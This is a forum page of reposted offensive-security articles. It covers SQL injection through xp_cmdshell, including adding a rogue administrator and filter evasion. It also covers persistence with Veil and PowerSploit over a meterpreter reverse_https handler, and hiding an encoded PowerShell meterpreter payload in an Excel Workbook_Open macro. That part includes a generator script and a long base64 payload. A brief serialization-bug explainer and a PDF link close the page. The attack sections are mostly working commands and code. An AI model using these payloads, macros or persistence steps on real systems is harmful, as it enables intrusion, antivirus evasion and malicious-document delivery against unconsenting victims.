master..xp_cmdshell 'dir c:\'; -- That’ll execute the dir command! One…small hitch…the output of the command isn’t returned…an easy way to get around that would be to just attack the application blind, for example: exec master..xp_cmdshell 'net user foobar Password123 /add'; -- exec master..xp_cmdshell 'net localgroups "Administrators" /add'; -- The above command adds a new local administrator to the remote server. That might help. Alternatively you can redirect the output of the executed command to a database table and read the contents of the table through SQL injection! You can create a table and store the output of a command to it with the following: ; create table #output (id int identity(1,1), output nvarchar(255) null); ; insert #output (output) exec @rc = master..xp_cmdshell 'dir c:'; Then to read the contents out with a SELECT statement like this one: ; select * from #output where output is not null order by id; A quick note on filter evasion… If there’s a filter in place to prevent the execution of payloads above then there are a few things to try. First of all be aware that you can flip case without any problem: SELECT sElEcT Also if whitespace is filtered, then you can replace spaces with comments for the same effect: AND 1=1 -- /**/AND/**/1=1/**/-- Finally if you can’t comment out the end of a query you can “gracefully close” the statement instead: ' AND 1=1 -- ' AND 1=1 OR 'a'='a Defending against Injection As I said at the start of this article the issue really is that user input is insecurely concatenated into a query. So there’s two things to note here, the first is concatenation and the fix here is instead to use “parametrized” or “prepared” statements, these are available in all modern languages and frameworks, these effectively separate the query from the user input so that the database cannot mix the two up and effectively stop SQL injection attacks on their own. An example for PHP can be found in the PHP documentation here, which gives a flavour of the general idea. However another thing to consider, to stop other kinds of injection and web application attack, it’s a good idea to consider filtering all user input. I’ve written about user input filtering tactics here. Sursa: https://www.gracefulsecurity.com/sql-injection-exploitation/
      • 4
      • Upvote
  20. How-To: Post-Ex Persistence Scripting with PowerSploit & Veil Many penetration testers within the security industry state that getting a system shell is just the starting point for an attack. Sure, I agree, and quite possibly the most significant tenets of our craft could be post exploitation - specifically, the act of maintaining a persistent connection while remaining intimately covert against defense mechanisms. Historically, the act of evading antivirus and/or malware detection has been a perpetual struggle between those that detect and those that evade. We could use code packing, obfuscating and staged multipart net IO based payloads, to name a few. Enter Microsoft, as they tipped the scales in favor of the evaders by introducing the PowerShell scripting language. The PowerShell language was first introduced as version 1.0 with the advent of Microsoft XP SP2/SP3. Additionally, the PowerShell scripting language, although full-featured, is considered a whitelisted application for the purpose of running various local and/or network based functions; therefore, it remains undetected by antivirus software. A number of well-authored PowerShell tutorials exist on the Internet, providing everything necessary to get underway rather quickly. However, although I vehemently support the pedantic study of programming languages, we don’t really need to touch code to establish an effective piece of PowerShell. To further prove the point, this is a quick post to simply document the necessary steps needed to create a persistent PowerShell communication channel using both the PowerSploit and Veil frameworks. This technique will leverage Veil to generate a PowerShell encoded meterpreter payload. Immediately following, the PowerSploit framework will be used to create a PowerShell wrapper that can be executed on the victim machine in order to maintain the persistent connection. Further information regarding the frameworks used within this post can be referenced here: PowerSploit: https://github.com/mattifestation/PowerSploit Veil: https://github.com/veil-evasion/Veil I would also like to thank my colleague, Dan Kottmann, for his assistance and expertise while debugging code/execution gremlins. Lab Environment The lab environment used to stage this exploitation scenario was comprised of the following three systems, all of which were virtualized guests running within an Ubuntu 12.04 (64 arch) host system. Kali Linux (32 Arch) – Attacking System #1 (Primary) Windows 7 (64 Arch) – Attacking System #2 (Supporting) Windows 7 (32 Arch) – Victim System Additionally, the following diagram illustrates the network architecture and the progression of the attack sequence. The procedure takes into consideration that you have already gained an initial meterpreter shell on the victim system and that we are proceeding with post-exploitation from this point on. First Step – Create meterpreter payload using Veil. Second Step – Place Veil payload into PowerSploit and generate new payload. Third Step – Use the existing meterpreter session to upload the new PowerShell script. Fourth Step – Relax and enjoy the persistent connection. Installing Veil The easiest method to install the Veil framework is to simply perform a “git clone” fromChris Truncer’s GitHub code repository within a Kali Linux operating system. There are specific installation details on his GitHub site, but essentially he provides a “setup.py” script that will install the necessary dependencies. A successfully installed instance of the Veil framework should return something similar to the following screenshot upon typingpython /usr/share/veil/Veil.py. Installing PowerSploit The next step is to download the PowerSploit archive from the GitHub code repository and install it within the Microsoft Windows 7 (64 Arch) attacking system. The following series of commands will provide adequate details for installing the framework. Note that we will need administrative privileges for the following steps. Get the value of the “PSModulePath” environmental variable. C:\Users\labrat>set ---- PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ Decompress the downloaded PowerSploit archive and place it in the previously identified PowerShell Modules directory. C:\Windows\System32\WindowsPowerShell\v1.0\Modules>move C:\Users\labrat\Downloads\PowerSploit-master . 1 dir(s) moved. C:\Windows\System32\WindowsPowerShell\v1.0\Modules>dir Volume in drive C has no label. Volume Serial Number is 0CA4-867A Directory of C:\Windows\System32\WindowsPowerShell\v1.0\Modules 12/04/2013 11:24 AM <DIR> . 12/04/2013 11:24 AM <DIR> .. 12/04/2013 11:18 AM <DIR> PowerSploit-master 07/14/2009 12:32 AM <DIR> PSDiagnostics 07/14/2009 12:37 AM <DIR> TroubleshootingPack 0 File(s) 0 bytes 5 Dir(s) 12,084,989,952 bytes free Enter into the PowerShell scripting environment and set the execution policy to “Unrestricted” so that we can execute our PowerSploit scripts. C:\Users\labrat>powershell Windows PowerShell Copyright (C) 2009 Microsoft Corporation. All rights reserved. PS C:\Users\labrat> PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules> Set-ExecutionPolicy Unrestricted Finally, import the PowerSploit “Persistence” module and answer “Run” if prompted with a warning. PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master> Import-Module .\Persistence Security Warning Run only scripts that you trust. While scripts from the Internet can be useful, this script can potentially harm your computer. Do you want to run C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1? [D] Do not run [R] Run once Suspend [?] Help (default is "D"): R ---- Generating the Veil Payload The following series of screenshots will provide the details to generate a .bat scriptcontaining an embedded Base64 encoded PowerShell meterpreter payload. Thewindows/meterpreter/reverse_https payload was used during this scenario considering it offers an inherent level of persistence in and of itself while also increasing the probability that an HTTP based payload will be allowed outbound. Also note that thepowershell/VirtualAlloc method is used as it allows for inline shellcode injection. Finally, we are presented with the .bat file containing the Base64 encoded payloads applicable to both 32 and 64 arch types. We need to copy out the entire Base64 value to be used later within PowerSploit. Note that we obviously don’t care which of the Base64 values we copy, since both of the payloads are identical. The wrapper shell script is simply providing the conditional required to identify arch types. Generating the PowerSploit Payload This section is based on Matt Graeber’s PowerSploit article and is well worth the read. The motivation for providing this blog post was to illustrate how to leverage the inclusion of Veil payloads in conjunction with Matt’s technique. Getting back on task, on the Windows 7 (64 Arch) system, we need to ensure that we are still in the PowerShell scripting environment. Again we can enter the environment by typing the following within a privileged command shell and change directory to the location of the PowerShell modules. C:\Users\labrat>powershell Windows PowerShell Copyright (C) 2009 Microsoft Corporation. All rights reserved. PS C:\Users\labrat> PS C:\Users\labrat> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master> Now we can create an arbitrary variable and assign the necessary value to it. The following example provides a stub for a variable assignment that can be used by simply plugging in our previously copied Base64 Veil payload. $p = {iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("VEIL_PAYLOAD_HERE")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()} The following uses our Veil payload, and represents an actual assignment. We can now set a couple of additional arbitrary variable values that will define both non-privileged and privileged persistence methods, respectively. The first definition will run the persistence script upon each successful logon. The second, considering we have gain privileged access to the victim system, will run the persistence script each day at 10:00 AM. $u = New-UserPersistenceOptions -Registry –AtLogon $e = New-ElevatedPersistenceOptions -ScheduledTask -Daily -At '10:00 AM' Finally, we need to generate the persistence script using the PowerSploit “Add-Persistence” module. PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence> Add-Persistence -ScriptBlock $p -UserPersistenceOptions $u -ElevatedPersistenceOptions $e -Verbose -PassThru This should generate two files outputted to the same directory. The Persistence.ps1 andRemovePersistence.ps1 files should be self-explanatory but are simply used to enable persistence and remove persistence. PS C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence> ls Directory: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-master\PowerSploit-master\Persistence Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 12/4/2013 11:19 AM 16025 Add-Persistence.ps1 -a--- 12/4/2013 11:19 AM 5140 New-ElevatedPersistenceOptions.ps1 -a--- 12/4/2013 11:19 AM 3555 New-UserPersistenceOptions.ps1 -a--- 12/4/2013 5:29 PM 7128 Persistence.ps1 -a--- 12/4/2013 11:19 AM 1104 Persistence.psd1 -a--- 12/4/2013 11:19 AM 170 Persistence.psm1 -a--- 12/4/2013 5:29 PM 514 RemovePersistence.ps1 -a--- 12/4/2013 11:19 AM 583 Usage.md Profit After all of this, we are set to actually profit from all of our effort. At this point, the victim system is in a state of initial exploitation as the following screenshot illustrates. We now need to upload our newly generated PowerShell script so that we can maintain persistence. Similar to what we did on the Windows 7 (64 Arch) system, we need to ensure that the victim machine can run PowerShell scripts by explicitly defining the Set-ExecutionPolicy Unrestricted policy. However, if we drop into command shell from within meterpreter, then the only available shell is non-interactive. Fortunately, Microsoft has afforded us the ability to set the policy using a non-interactive method from within the command line. A word of mention, we are using a separate multi-handler during these examples as opposed to the inherent handler invoked for a specific exploit payload. The following configuration was used within a MetaSploit resource script and started from the msfconsole as follows. Save this to a file called reversehttps.rc use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 8443 set ExitOnSession false exploit -j –z Invoke the script using: Msfconsole –r reversehttps.rc Returning to the example, we can now move our new Persistence.ps1 script from the Windows 7 (64 Arch) system over to the Kali Linux system. Then we will use the post-exexec_powershell module to upload our Persistence.ps1 script via the existing meterpreter session as the following screenshot illustrates. The successful execution of the Persistence.ps1 should execute cleanly without returning any syntax errors. Note that the following screenshot had returned multiple meterpreter sessions since the Windows 7 (32 Arch) victim system was rebooted and logged back into.Furthermore, there were multiple instances of the persistence script staged on the victim resulting in the persistent connections. If everything worked correctly, persistence should be working as expected. You can obviously test this in a controlled environment by re-authenticating the victim user, which should invoke a new meterpreter session. The process of removing persistence is as simple as copying the RemovePersistence.ps1script from the Windows 7 (64 Arch) system to the Kali Linux system and running the script using the MetaSploit exec_powershell module. CONTACT INFO Name: Chris Patten Sursa: https://www.fishnetsecurity.com/6labs/blog/how-post-ex-persistence-scripting-powersploit-veil
      • 1
      • Upvote
  21. Embedding Veil Powershell payloads into Office Documents So upon reading Backdoooring Office Documents , I wondered if I could achieve something with one of the Veil-framework Powershell payloads. The end goal being if we had a user on an assessment open and run our macro (which happens more than I would like to admit), we could have a memory resident backdoor that would not get flagged by AV. 1. Veil Payload To start, we would ned to create a Veil (Veil install/documentation) Powershell payload. Upon opening Veil, we’ll just enter: use powershell/VirtualAlloc generate This will start the process for generating our specific Powershell payload. Veil allows for not only msfvenom payloads, but also custom shellcode. Here, we are going to simply use meterpreter/reverse_http. Oh and, in case you were wondering, Veil supports tab completion on the msfvenom payloads! Once the shellcode is generated, we then name our output and take note of its location. Oh and move it to our Office machine 2. Office Macros Now onto embedding the payload into an office document. Open Office, and head to the developer tab, and open the Visual Basic editor: From here, open the payload.bat from Veil in a text editor, and copy the first section (x86) from the word powershell until the end of the first if statement: We will need to create a new Subfunction, “Workbook_Open()”, create two new String objects, “exec” and “str”, and paste this as the string value for “exec” in the VBA pane. Sub Workbook_open() Dim exec As String Dim str As String str = "" exec = "[entire string]" Of course it complains, but this is okay since we will fix this by using string concatenation. Head to the string just after “FromBase64_decrypt” and cut the entire section in between the quotation marks. Insert this string as the “str” value. str="[Value]" The string is still too long! Ok, let’s split it in half and concatenate the string back together one line later: str = "[Value A]" str = str + "[Value B]" Now, we can call the variable “str” in between the the quotation marks: Next, we need to properly escape all the quotations on the line by changing \” to \””. There are occurrences before “Invoke-Express”, and before and after the variable “str”. Finally, we place the entire thing into a Shell(). Our VBA editing is complete. We could continue breaking up the strings and concatenating them back numerous times if need be to make things easy to read or fit into a blog! Below is a copy/paste friendly (read cleaner) template. Also considering how tedious this can be by hand, I wrote a python script, also below, that automates moving this into a vba-friendly output. Template: Sub Workbook_Open() Dim exec As String Dim str As String str = "[half payload value]" str = str + "[half payload value]" exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command" exec = exec + " ""Invoke-Expression $(New-Object IO.StreamReader " exec = exec + "($(New-Object IO.Compression.DeflateStream " exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]" exec = exec + "::FromBase64String(\"" " & payload & " \""))))," exec = exec + "[IO.Compression.CompressionMode]::Decompress))," exec = exec + "[Text.Encoding]::ASCII)).ReadToEnd();"" " Shell(exec) Macro_safe.py: (google drive download here) (new github link here, part of the MacroShop repository) #!/usr/bin/python ##### # macro_safe.py ##### # # Takes Veil powershell batch file and outputs into a text document # macro safe text for straight copy/paste. # import os, sys import re def formStr(varstr, instr): holder = [] str1 = '' str2 = '' str1 = varstr + ' = "' + instr[:54] + '"' for i in xrange(54, len(instr), 48): holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48]) str2 = '"\r\n'.join(holder) str2 = str2 + "\"" str1 = str1 + "\r\n"+str2 return str1 if len(sys.argv) < 2: print "----------------------\n" print " Macro Safe\n" print "----------------------\n" print "\n" print "Takes Veil batch output and turns into macro safe text\n" print "\n" print "USAGE: " + sys.argv[0] + " <input batch> <output text>\n" print "\n" else: fname = sys.argv[1] f = open(fname) lines = f.readlines() f.close() cut = [] for line in lines: #split on else to truncate the back half first = line.split('else') # split on \" cut = first[0].split('\\"', 4) #get rid of everything before powershell cut[0] = cut[0].split('%==x86')[1] cut[0] = cut[0][2:] #get rid of trailing parenthesis cut[2] = cut[2].strip(" ") cut[2] = cut[2][:-1] # for i in range(0,3): # print str(i) + " " +cut top = "Sub Workbook_Open()\r\n" top = top + "Dim str As String\r\n" top = top + "Dim exec As String\r\n" #insert '\r\n' and 'str = str +' every 48 chars after the first 54. payL = formStr("str", str(cut[1])) #double up double quotes, add the rest of the exec string idx = cut[0].index('"') cut[0] = cut[0][:idx] + '"' + cut[0][idx:] cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\"" #insert 'exec = exec +' and '\r\n' every 48 after the first 54. execStr = formStr("exec", str(cut[0])) shell = "Shell(exec)" bottom = "End Sub\r\n\r\n\'---Generated by macro_safe.py by khr040sh---" final = '' final = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" print final try: f = open(sys.argv[2],'w') f.write(final) # python will convert \n to os.linesep f.close() except: print "Error writing file.\n Please check permissions and try again.\nExiting..." sys.exit(1) print "File written to " + sys.argv[2] + " !" Sample output from python code: Sub Workbook_Open() Dim str As String Dim exec As String str = "nVZNj+M2DL3nVwiBDwkmnsrf9gQD7LSLBRYoigIzaA9BsJBleWKsYw" str = str + "e2vJuZtv+94kvo6XYvRS+0RVHk4yNNy9PiXrxbLnbv2/bj8d" str = str + "QPdrX8bIbOtFF4W7Xtcr0Xp6lsGy1Gq6x7mLN1++JjZ3+1g/" str = str + "itGeyk2oe27fXqqvu6EVPTWXG+Pl+uz9f19n/H+Wkwypqng3" str = str + "tUHGe6+v2yEW+Rr2//iH3V/Dv6cfyiB/tfYh/NcTR29b3nOa" str = str + "vlu4XXOyIfqsp/ejkZ4bszpRnem7rpGtv0nfC08H9RRyOWvz" str = str + "ddFC6F37nVeFLaCGg+TJ0my1H4JzWO9jBMC+987/V3d9+QLD" str = str + "fyHEhJj+jyiOV6K3Y/vliz2++9kSrai4dBH8RoWqOtqTbXt6" str = str + "Z7xsadOOepqIf+KOzBiJN6aXtVLT70U1eJMBS6P54cEWVrhO" str = str + "l0X5lhXDxYa44nuLD9Vc0nxdfGHkQgGkebuiTR1xTjh/HQfF" str = str + "ZWfXpWnzrVLL5XiXHS2pjKXJ2MzasRUZKK1ezsXq4XUzc2z5" str = str + "0z0gc1iHKqd3uXpku+Kp3QtROlcqJOnUhCIod0YU4mhRNZTE" str = str + "sSNYnE0JI2NIkyIF3kRE5CkxdJdhE2aBnQUka8NBSjJPo1xa" str = str + "3iWUcmUULuSdQhgyw1GeNExHGxkVOMjERFqBRh1uQvI5MCXi" str = str + "oS5EAqPgb0cF+WjEqSSUTGEb0lGTmgkAW5r8l9TcdS2jUgJ2" str = str + "SGYjoWErSQjgWAVjBXmnQx7EJmIyNoGe0a2k3JXwy4CaPKkD" str = str + "R5NgRcGtYhGVAiEw6J9FE3kIN6IIUk57MJqkpvFe0aVLXkCo" str = str + "J2COzmciZRMYKw4mZAtcI5yzRjmuKMjQMSiuyKiHdRQcCVKT" str = str + "dIHjLPcAoTeInJJEXN0XCaa3RJYe4XjbhABQ5yzi1XDC1T3D" str = str + "lydlWRXQqkFCinZV4z3DjnVFPSRWgQIAUq2ohrrip6A1UFf8" str = str + "gNOpCow9kzBk/BxAJpKLnIipCW9Uwi+SsKjoZlEjPjlyLDC8" str = str + "ENcBb+Yj5R5Ex7nnBcSYGCgikxtCznBkZzBWgGxcdQhRhfcs" str = str + "j8oc2Q4BsRqPnFhIzxdYNYUJKQMCAWb7RRGm4pREOfXqYKTA" str = str + "CS7IqQT+DDBr6czsp8Ro8CaE4LcdFmmC8JnSjQNIQU0wKAYn" str = str + "z7ilFV5CDFeFBMLGbEBXjM6SsIpEXGKp53aRmTFwwekIMeyu" str = str + "a5VmGWKE4fmZuEdZiEeMsrfkOX1CXXCGy86VDQlHRoZfRuRf" str = str + "4whpFvnnLN8WEDCwZUmXDJCoqrS+bqApyWmPcKHZFxtQpMH8" str = str + "y6gOuGZEAnug7DqMYwwgCtGFER4zkMuciYjphNaDOFWQcEGS" str = str + "Mo35gkHeZGmnD18fMKIkYA6pARSnspPNmZfLuo+0GsvOZebr" str = str + "1G+O4fvXI//dufTfdsD36wdtqbm7X4g24O16vL7nJ32a+88+" str = str + "1T7xZRuFrfeM16I9zRndfsNyJYiz9FP1m/m9p2+9fCe8Xd56" str = str + "uLlyNi45039KA7x6NVg/UfW2NOwn80une3B7qaSPk3" exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRe" exec = exec + "ader ($(New-Object IO.Compression.DeflateStream " exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]::Fro" exec = exec + "mBase64String(\"" " & str & " \"" )))), [IO.Comp" exec = exec + "ression.CompressionMode]::Decompress)), [Text.En" exec = exec + "coding]::ASCII)).ReadToEnd();""" Shell(exec) End Sub '---Generated by macro_safe.py by khr040sh--- [EDITED: UPDATED python link] Sursa: https://khr0x40sh.wordpress.com/2014/06/02/embedding-veil-powershell-payloads-into-office-documents/
      • 1
      • Upvote
  22. Serialization Security Bugs Explained If you’re in information security you’ve probably heard a lot about serialization bugs. They are becoming increasingly common, and I wanted to give a basic overview of how they work and why they’re an issue. The parsing problem So much of security comes down to parsing. It’s the primary reason we need input validation, and the reason that software like antivirus and network protocol analyzers can have so many security issues. The job of a parser is to take input from somewhere else and run it through your own software. That should frighten you. It’s like a CDC employee using the ‘open and lick’ method to test petri dish samples. Bottom If you’re going to parse something, you have to get intimate with it. And that brings us to serialization. Serialization Serialization is the process of capturing a data structure or an object’s state into a (serial) format that can be efficiently stored or transmitted for later consumption. So you can take an object, capture its state, and then put it in memory, write it to disk, or send it over the network. Then at some point the object can be retrieved and consumed, restoring the object’s state. Example A basic example of serialization might be to take the following array: $array = array("a" => 1, "b" => 2, "c" => array("a" => 1, "b" => 2)); And to serialize it into this: a:3:{s:1:"a";i:1;s:1:"b";i:2;s:1:"c";a:2:{s:1:"a";i:1;s:1:"b";i:2;}} At its core, serialization is a type of encoding. The crux So this brings us to the core issue: deserialization requires parsing. In order to go from that serialized format to usable data, some software package needs to unpack that content, figure it out, and then consume it. And this is precisely what parsers are so bad at. And doing it poorly can lead to all manner of flaws, up to and including arbitrary code execution. Summary Parsing untrusted input is hard Serialization takes data and encodes it into opaque formats for transfer and storage To make use of that content, parsers must unpack and consume it It’s extremely hard to do this correctly, and if you do it wrong it could mean code execution This applies to most any language that uses serialization, but some languages (like Java) are in worse shape than others. Notes The Wikipedia article has a good set of language implementations Here’s a writeup on a Java serialization bug. Link: https://danielmiessler.com/study/serialization-security-bugs-explained/
  23. THE MOST FORGOTTEN WEB VULNERABILITIES Written by 0KaL @ WhiteCollarGroup Reviewed by WCG147, 3du and NeoInvasor Introduction PHP is adorable. It’s learning curve is short, yet its features allow you to create virtually any kind of web application. But PHP, as some use to say, allows the programmer to do a lot of weird things. While I really think it’s a good aspect for a programming language, for beginners it might bring a lot of headaches and angry clients. The vulnerabilities that we are going to see here really do deserve some attention from us (as any other vulnerability). They’re not vulnerabilities that will provide, to some attacker, permissions to hack the entire server (maybe this is the reason why it’s so forgotten), but this does not mean that they can’t create a path, sometimes with some basic social engineering1 , for the attacker to reach this target. Download: https://www.exploit-db.com/docs/39434.pdf
×
×
  • Create New...